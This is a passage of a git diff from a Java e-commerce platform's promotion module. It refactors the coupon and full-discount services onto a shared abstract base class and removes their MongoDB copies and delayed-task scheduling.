cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; +import java.util.Collections; import java.util.List; import java.util.stream.Collectors; @@ -49,28 +43,13 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) -public class CouponServiceImpl extends ServiceImpl implements CouponService { +public class CouponServiceImpl extends AbstractPromotionsServiceImpl implements CouponService { - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * 规格商品 */ @Autowired private GoodsSkuService goodsSkuService; - /** - * Rocketmq - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 促销商品 */ @@ -92,170 +71,6 @@ public class CouponServiceImpl extends ServiceImpl impleme @Autowired private CouponActivityItemService couponActivityItemService; - @Override - public CouponVO add(CouponVO coupon) { - //检查参数 - this.checkParam(coupon); - coupon.setUsedNum(0); - coupon.setReceivedNum(0); - //保存到MYSQL中 - this.save(coupon); - //如果优惠券类型为部分商品则将促销活动商品更新 - this.updateScopePromotionGoods(coupon); - //保存到MONGO中 - this.mongoTemplate.save(coupon); - //如果优惠券是固定时间则添加延时任务 - if (coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { - PromotionMessage promotionMessage = new PromotionMessage(coupon.getId(), PromotionTypeEnum.COUPON.name(), PromotionStatusEnum.START.name(), coupon.getStartTime(), coupon.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - coupon.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - - return coupon; - } - - @Override - public CouponVO updateCoupon(CouponVO couponVO) { - CouponVO coupon = checkStatus(couponVO.getId()); - //检查参数 - this.checkParam(couponVO); - //更新到MYSQL中 - this.updateById(couponVO); - //如果优惠券类型为部分商品则将促销活动商品更新 - this.updateScopePromotionGoods(couponVO); - //保存到MONGO中 - this.mongoTemplate.save(couponVO); - PromotionMessage promotionMessage = new PromotionMessage(couponVO.getId(), PromotionTypeEnum.COUPON.name(), PromotionStatusEnum.START.name(), coupon.getStartTime(), coupon.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - coupon.getStartTime().getTime(), couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(couponVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - return couponVO; - } - - @Override - public boolean updateCouponStatus(List couponId, PromotionStatusEnum promotionStatus) { - Query query = new Query(); - query.addCriteria(Criteria.where("id").in(couponId)); - List couponVOS = this.mongoTemplate.find(query, CouponVO.class); - couponVOS = couponVOS.parallelStream().filter(i -> Boolean.FALSE.equals(i.getDeleteFlag())).collect(Collectors.toList()); - if (couponVOS.isEmpty()) { - throw new ServiceException(ResultCode.COUPON_NOT_EXIST); - } - for (CouponVO couponVO : couponVOS) { - if (promotionStatus.name().equals(PromotionStatusEnum.START.name())) { - this.checkParam(couponVO); - } - couponVO.setPromotionStatus(promotionStatus.name()); - this.updateById(couponVO); - this.mongoTemplate.save(couponVO); - PromotionMessage promotionMessage = new PromotionMessage(couponVO.getId(), PromotionTypeEnum.COUPON.name(), promotionStatus.name(), couponVO.getStartTime(), couponVO.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - couponVO.getStartTime().getTime(), couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(couponVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return true; - } - - @Override - public boolean deleteCoupon(String id) { - CouponVO couponVO = checkStatus(id); - - //更新优惠券状态为关闭,标示删除标志 - LambdaUpdateWrapper couponUpdateWrapper = new LambdaUpdateWrapper().eq(Coupon::getId, id) - .set(Coupon::getPromotionStatus, PromotionStatusEnum.CLOSE.name()).set(Coupon::getDeleteFlag, true); - boolean result = this.update(couponUpdateWrapper); - - //更新促销商品记录信息为删除 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper() - .eq(PromotionGoods::getPromotionId, id) - .set(PromotionGoods::getPromotionStatus, PromotionStatusEnum.CLOSE.name()) - .set(PromotionGoods::getDeleteFlag, true); - this.promotionGoodsService.update(updateWrapper); - - //删除mongo优惠券信息 - LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper() - .eq(MemberCoupon::getCouponId, id) - .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); - memberCouponService.update(memberCouponLambdaUpdateWrapper); - this.mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), CouponVO.class); - - //删除优惠券活动关联优惠券 - couponActivityItemService.remove(new LambdaQueryWrapper() - .eq(CouponActivityItem::getCouponId, id)); - - //删除延时任务 - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - couponVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.COUPON.name() + couponVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - return result; - } - - @Override - public IPage getCouponsByPageFromMongo(CouponSearchParams param, PageVO page) { - Query query = param.mongoQuery(); - IPage coupons = new Page<>(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - coupons.setSize(page.getPageSize()); - coupons.setCurrent(page.getPageNumber()); - } - List couponVOList = mongoTemplate.find(query, CouponVO.class); - coupons.setRecords(couponVOList); - coupons.setTotal(mongoTemplate.count(query, CouponVO.class)); - return coupons; - } - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - @Override - public IPage getCanReceiveCoupons(CouponSearchParams param, PageVO page) { - Query query = param.mongoQuery(); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("endTime").gte(new Date())); - IPage coupons = new Page<>(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - coupons.setSize(page.getPageSize()); - coupons.setCurrent(page.getPageNumber()); - } - List couponVOList = mongoTemplate.find(query, CouponVO.class); - coupons.setRecords(couponVOList); - coupons.setTotal(mongoTemplate.count(query, CouponVO.class)); - return coupons; - } - - @Override - public CouponVO getCouponDetailFromMongo(String id) { - return mongoTemplate.findById(id, CouponVO.class); - } - - @Override - public IPage getCouponsByPage(CouponSearchParams param, PageVO page) { - QueryWrapper queryWrapper = param.wrapper(); - return page(PageUtil.initPage(page), queryWrapper); - } - /** * 领取优惠券 * @@ -264,13 +79,22 @@ public class CouponServiceImpl extends ServiceImpl impleme */ @Override public void receiveCoupon(String couponId, Integer receiveNum) { - CouponVO couponVO = this.mongoTemplate.findById(couponId, CouponVO.class); - couponVO.setReceivedNum(couponVO.getReceivedNum() + receiveNum); - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Coupon::getId, couponId); - updateWrapper.set(Coupon::getReceivedNum, couponVO.getReceivedNum()); - this.update(updateWrapper); - this.mongoTemplate.save(couponVO); + Coupon coupon = this.getById(couponId); + if (coupon == null) { + throw new ServiceException(ResultCode.COUPON_NOT_EXIST); + } + this.update(new LambdaUpdateWrapper().eq(Coupon::getId, coupon.getId()).set(Coupon::getReceivedNum, + coupon.getReceivedNum() + receiveNum)); + } + + @Override + public boolean removePromotions(List ids) { + //删除mongo优惠券信息 + this.memberCouponService.closeMemberCoupon(ids); + + //删除优惠券活动关联优惠券 + this.couponActivityItemService.removeByCouponId(ids); + return super.removePromotions(ids); } /** @@ -281,51 +105,148 @@ public class CouponServiceImpl extends ServiceImpl impleme */ @Override public void usedCoupon(String couponId, Integer usedNum) { - CouponVO couponVO = this.mongoTemplate.findById(couponId, CouponVO.class); - couponVO.setUsedNum(couponVO.getUsedNum() + usedNum); - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Coupon::getId, couponId); - updateWrapper.set(Coupon::getUsedNum, couponVO.getUsedNum()); - this.update(updateWrapper); - this.mongoTemplate.save(couponVO); + Coupon coupon = this.getById(couponId); + if (coupon == null) { + throw new ServiceException(ResultCode.COUPON_NOT_EXIST); + } + + this.update(new LambdaUpdateWrapper().eq(Coupon::getId, coupon.getId()).set(Coupon::getUsedNum, + coupon.getUsedNum() + usedNum)); } /** - * 检查优惠券信息是否合法 + * 获取优惠券展示实体 * - * @param coupon 优惠券信息 + * @param searchParams 查询参数 + * @param page 分页参数 + * @return 优惠券展示实体列表 */ - private void checkParam(CouponVO coupon) { + @Override + public IPage pageVOFindAll(CouponSearchParams searchParams, PageVO page) { + IPage couponIPage = super.pageFindAll(searchParams, page); + List couponVOList = couponIPage.getRecords().stream().map(CouponVO::new).collect(Collectors.toList()); + return PageUtil.convertPage(couponIPage, couponVOList); + } + /** + * 获取优惠券展示详情 + * + * @param couponId 优惠券id + * @return 返回优惠券展示详情 + */ + @Override + public CouponVO getDetail(String couponId) { + CouponVO couponVO = new CouponVO(this.getById(couponId)); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(couponId); + List promotionsByPromotionId = this.promotionGoodsService.listFindAll(searchParams); + if (promotionsByPromotionId != null && !promotionsByPromotionId.isEmpty()) { + couponVO.setPromotionGoodsList(promotionsByPromotionId); + } + return couponVO; + } + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + public boolean updateStatus(List ids, Long startTime, Long endTime) { + List list = this.list(new LambdaQueryWrapper().in(Coupon::getId, ids).eq(Coupon::getRangeDayType, CouponRangeDayEnum.DYNAMICTIME.name())); + if (!list.isEmpty()) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.in(Coupon::getId, list.stream().map(Coupon::getId).collect(Collectors.toList())); + updateWrapper.set(Coupon::getEffectiveDays, 0); + this.update(updateWrapper); + } + + return super.updateStatus(ids, startTime, endTime); + } + + @Override + public void initPromotion(Coupon promotions) { + promotions.setUsedNum(0); + promotions.setReceivedNum(0); + } + + @Override + public void checkPromotions(Coupon promotions) { + if (promotions.getRangeDayType() == null) { + super.checkPromotions(promotions); + } //优惠券限制领取数量 - if (coupon.getCouponLimitNum() < 0) { + if (promotions.getCouponLimitNum() < 0) { throw new ServiceException(ResultCode.COUPON_LIMIT_NUM_LESS_THAN_0); } //如果发行数量是0则判断领取限制数量 - if (coupon.getPublishNum() != 0 && coupon.getCouponLimitNum() > coupon.getPublishNum()) { + if (promotions.getPublishNum() != 0 && promotions.getCouponLimitNum() > promotions.getPublishNum()) { throw new ServiceException(ResultCode.COUPON_LIMIT_GREATER_THAN_PUBLISH); } //打折优惠券大于10折 - boolean discountCoupon = (coupon.getCouponType().equals(CouponTypeEnum.DISCOUNT.name()) - && (coupon.getCouponDiscount() < 0 && coupon.getCouponDiscount() > 10)); + boolean discountCoupon = (promotions.getCouponType().equals(CouponTypeEnum.DISCOUNT.name()) + && (promotions.getCouponDiscount() < 0 && promotions.getCouponDiscount() > 10)); if (discountCoupon) { throw new ServiceException(ResultCode.COUPON_DISCOUNT_ERROR); } //优惠券为固定时间类型 - if (coupon.getRangeDayType() != null && coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { + if (promotions.getRangeDayType() != null && promotions.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { long nowTime = DateUtil.getDateline() * 1000; //固定时间的优惠券不能小于当前时间 - if (coupon.getEndTime().getTime() < nowTime) { + if (promotions.getEndTime().getTime() < nowTime) { throw new ServiceException(ResultCode.PROMOTION_END_TIME_ERROR); } - //促销通用时间校验 - PromotionTools.checkPromotionTime(coupon.getStartTime().getTime(), coupon.getEndTime().getTime()); } - this.checkCouponScope(coupon); - //对状态的处理.如果未传递状态则需要 根据当前时间来确认优惠券状态 - this.promotionStatusEmpty(coupon); + + this.checkCouponScope((CouponVO) promotions); + } + + @Override + public void checkStatus(Coupon promotions) { + super.checkStatus(promotions); + FullDiscountSearchParams searchParams = new FullDiscountSearchParams(); + searchParams.setIsCoupon(true); + searchParams.setCouponId(promotions.getId()); + List fullDiscounts = fullDiscountService.listFindAll(searchParams); + if (fullDiscounts != null && !fullDiscounts.isEmpty()) { + throw new ServiceException("当前优惠券参与了促销活动【" + fullDiscounts.get(0).getPromotionName() + "】不能进行编辑删除操作"); + } + } + + @Override + public void updatePromotionsGoods(Coupon promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) && + PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) && + promotions instanceof CouponVO) { + CouponVO couponVO = (CouponVO) promotions; + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + List promotionGoodsList = PromotionTools.promotionGoodsInit(couponVO.getPromotionGoodsList(), couponVO, this.getPromotionType()); + //促销活动商品更新 + this.promotionGoodsService.saveBatch(promotionGoodsList); + } + } + + /** + * 更新商品索引优惠券信息 + * + * @param promotions 优惠券信息 + */ + @Override + public void updateEsGoodsIndex(Coupon promotions) { + Coupon coupon = JSONUtil.parse(promotions).toBean(Coupon.class); + super.updateEsGoodsIndex(coupon); + } + + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.COUPON; } /** @@ -334,82 +255,38 @@ public class CouponServiceImpl extends ServiceImpl impleme * @param coupon 检查的优惠券对象 */ private void checkCouponScope(CouponVO coupon) { - boolean portionGoodsScope = (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name()) + boolean portionGoodsScope = (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name()) && (coupon.getPromotionGoodsList() == null || coupon.getPromotionGoodsList().isEmpty())); if (portionGoodsScope) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_GOODS_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_GOODS_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_CATEGORY_ERROR); - } else if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_SHOP_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { + } else if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_SHOP_CATEGORY.name()) && CharSequenceUtil.isEmpty(coupon.getScopeId())) { throw new ServiceException(ResultCode.COUPON_SCOPE_TYPE_STORE_ERROR); } - if (coupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name())) { - String[] split = coupon.getScopeId().split(","); - if (split.length <= 0) { - throw new ServiceException(ResultCode.COUPON_SCOPE_ERROR); - } - for (String id : split) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(id); - if (goodsSku == null) { - throw new ServiceException(ResultCode.GOODS_NOT_EXIST); - } - } + if (coupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name())) { + this.checkCouponPortionGoods(coupon); } } /** - * 对状态的处理.如果未传递状态则需要 根据当前时间来确认优惠券状态 + * 检查指定商品 * - * @param coupon 优惠券参数 + * @param coupon 优惠券信息 */ - private void promotionStatusEmpty(CouponVO coupon) { - if (StringUtils.isEmpty(coupon.getPromotionStatus()) && coupon.getRangeDayType().equals(CouponRangeDayEnum.FIXEDTIME.name())) { - //格式时间 - long startTme = coupon.getStartTime().getTime() / 1000; - long endTime = coupon.getEndTime().getTime() / 1000; - //校验时间确定当前优惠券有效期 - long currentTime = DateUtil.getDateline(); - //如果未到时间点则为新建 - if (startTme > currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.NEW.name()); - } - //如果超过结束时间则为结束 - if (endTime < currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.END.name()); - } - //如果在使用时间内 则是开始状态 - if (startTme <= currentTime && endTime > currentTime) { - coupon.setPromotionStatus(PromotionStatusEnum.START.name()); - } + private void checkCouponPortionGoods(CouponVO coupon) { + String[] split = coupon.getScopeId().split(","); + if (split.length <= 0) { + throw new ServiceException(ResultCode.COUPON_SCOPE_ERROR); } - } - - /** - * 检查优惠券状态是否可进行编辑删除 - * - * @param id 优惠券id - * @return 优惠券信息 - */ - private CouponVO checkStatus(String id) { - CouponVO coupon = this.mongoTemplate.findById(id, CouponVO.class); - if (coupon == null) { - throw new ServiceException(ResultCode.COUPON_NOT_EXIST); - } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper().eq(FullDiscount::getIsCoupon, true).eq(FullDiscount::getCouponId, id); - FullDiscount fullDiscount = fullDiscountService.getOne(queryWrapper); - if (fullDiscount != null) { - throw new ServiceException("当前优惠券参与了促销活动【" + fullDiscount.getPromotionName() + "】不能进行编辑删除操作"); - } - return coupon; - } - - private void updateScopePromotionGoods(CouponVO couponVO) { - //如果优惠券类型为部分商品则将促销活动更新至ES中 - if (CouponScopeTypeEnum.PORTION_GOODS.name().equals(couponVO.getScopeType()) && !couponVO.getPromotionGoodsList().isEmpty()) { - PromotionTools.promotionGoodsInit(couponVO.getPromotionGoodsList(), couponVO, PromotionTypeEnum.COUPON); + for (String id : split) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(id); + if (goodsSku == null) { + throw new ServiceException(ResultCode.GOODS_NOT_EXIST); + } } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java index b3c4af86..82c5aa96 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java @@ -1,40 +1,28 @@ package cn.lili.modules.promotion.serviceimpl; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.FullDiscountMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.ArrayList; +import java.util.Collections; import java.util.Date; import java.util.List; @@ -46,26 +34,8 @@ import java.util.List; */ @Service @Transactional(rollbackFor = Exception.class) -public class FullDiscountServiceImpl extends ServiceImpl implements FullDiscountService { +public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl implements FullDiscountService { - private static final String SELLER_ID_COLUMN = "storeId"; - private static final String PROMOTION_STATUS_COLUMN = "promotionStatus"; - - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * Rocketmq - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 优惠券 */ @@ -79,95 +49,21 @@ public class FullDiscountServiceImpl extends ServiceImpl currentPromotion(List storeId) { - Query query = this.getMongoQuery(); - query.addCriteria(Criteria.where(SELLER_ID_COLUMN).in(storeId)); - return mongoTemplate.find(query, FullDiscountVO.class); - } - - @Override - public FullDiscount addFullDiscount(FullDiscountVO fullDiscountVO) { - //验证是否是有效参数 - PromotionTools.paramValid(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); - //当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), null); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); - //保存到MYSQL中 - this.save(fullDiscountVO); - if (fullDiscountVO.getPromotionGoodsList() != null) { - List promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); - //促销活动商品更新 - this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList); + List result = new ArrayList<>(); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.in(storeId != null && !storeId.isEmpty(), "store_id", storeId); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + List list = this.list(queryWrapper); + if (list != null) { + for (FullDiscount fullDiscount : list) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(fullDiscount.getId()); + FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); + fullDiscountVO.setPromotionGoodsList(promotionGoodsService.listFindAll(searchParams)); + result.add(fullDiscountVO); + } } - //保存到MONGO中 - this.mongoTemplate.save(fullDiscountVO); - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), - PromotionStatusEnum.START.name(), - fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - fullDiscountVO.getStartTime().getTime(), promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - return fullDiscountVO; - } - - @Override - public IPage getFullDiscountByPageFromMysql(FullDiscountSearchParams searchParams, PageVO page) { - QueryWrapper queryWrapper = searchParams.wrapper(); - return this.page(PageUtil.initPage(page), queryWrapper); - } - - @Override - public IPage getFullDiscountByPageFromMongo(FullDiscountSearchParams searchParams, PageVO page) { - IPage fullDiscountPage = new Page<>(); - Query query = searchParams.mongoQuery(); - if (page != null) { - PromotionTools.mongoQueryPageParam(query, page); - fullDiscountPage.setCurrent(page.getPageNumber()); - fullDiscountPage.setSize(page.getPageSize()); - } - List fullDiscountVOS = this.mongoTemplate.find(query, FullDiscountVO.class); - fullDiscountPage.setRecords(fullDiscountVOS); - fullDiscountPage.setTotal(this.mongoTemplate.count(query, FullDiscountVO.class)); - return fullDiscountPage; - } - - @Override - public FullDiscountVO modifyFullDiscount(FullDiscountVO fullDiscountVO) { - //检查满优惠活动是否存在 - FullDiscountVO fullDiscount = this.checkFullDiscountExist(fullDiscountVO.getId()); - if (!fullDiscount.getPromotionStatus().equals(PromotionStatusEnum.NEW.name())) { - throw new ServiceException(ResultCode.FULL_DISCOUNT_MODIFY_ERROR); - } - //检查活动是否已经开始 - PromotionTools.checkPromotionTime(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime()); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); - //时间发生变化 - if (!fullDiscount.getStartTime().equals(fullDiscountVO.getStartTime()) && fullDiscount.getEndTime().equals(fullDiscountVO.getEndTime())) { - //检查当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), fullDiscount.getId()); - - } - //更新到MYSQL中 - this.updateById(fullDiscountVO); - if (fullDiscountVO.getPromotionGoodsList() != null) { - //促销活动商品更新 - this.promotionGoodsService.updateBatchById(PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT)); - } - //保存到MONGO中 - this.mongoTemplate.save(fullDiscountVO); - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), PromotionStatusEnum.START.name(), fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - //发送更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, promotionMessage, - fullDiscount.getStartTime().getTime(), fullDiscountVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(fullDiscountVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - return fullDiscountVO; + return result; } /** @@ -178,64 +74,74 @@ public class FullDiscountServiceImpl extends ServiceImpl fullDiscountVOList = this.mongoTemplate.find(query, FullDiscountVO.class); - - //判断满额活动是否为空 - if (fullDiscountVOList.isEmpty() || fullDiscountVOList == null) { - throw new ServiceException(ResultCode.FULL_DISCOUNT_NOT_EXIST_ERROR); - } - FullDiscountVO fullDiscountVO = fullDiscountVOList.get(0); - - //如果是开启活动则需要校验参数 - if (promotionStatus.equals(PromotionStatusEnum.START)) { + public void checkPromotions(FullDiscount promotions) { + super.checkPromotions(promotions); + if (promotions instanceof FullDiscountVO) { + FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions; //验证是否是有效参数 - PromotionTools.paramValid(fullDiscountVO.getStartTime().getTime(), fullDiscountVO.getEndTime().getTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); - //当前时间段是否存在同类活动 - this.checkSameActiveExist(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getStoreId(), null); - //检查满减参数 - this.checkFullDiscount(fullDiscountVO); + PromotionTools.paramValid(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); } - //填写活动状态 - fullDiscountVO.setPromotionStatus(promotionStatus.name()); + //当前时间段是否存在同类活动 + this.checkSameActiveExist(promotions.getStartTime(), promotions.getEndTime(), promotions.getStoreId(), promotions.getId()); + //检查满减参数 + this.checkFullDiscount(promotions); - //保存到MYSQL中 - this.updateById(fullDiscountVO); + } - //添加促销消息 - PromotionMessage promotionMessage = new PromotionMessage(fullDiscountVO.getId(), PromotionTypeEnum.FULL_DISCOUNT.name(), - promotionStatus.name(), - fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime()); - //添加延时任务 - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - fullDiscountVO.getStartTime().getTime(), promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - 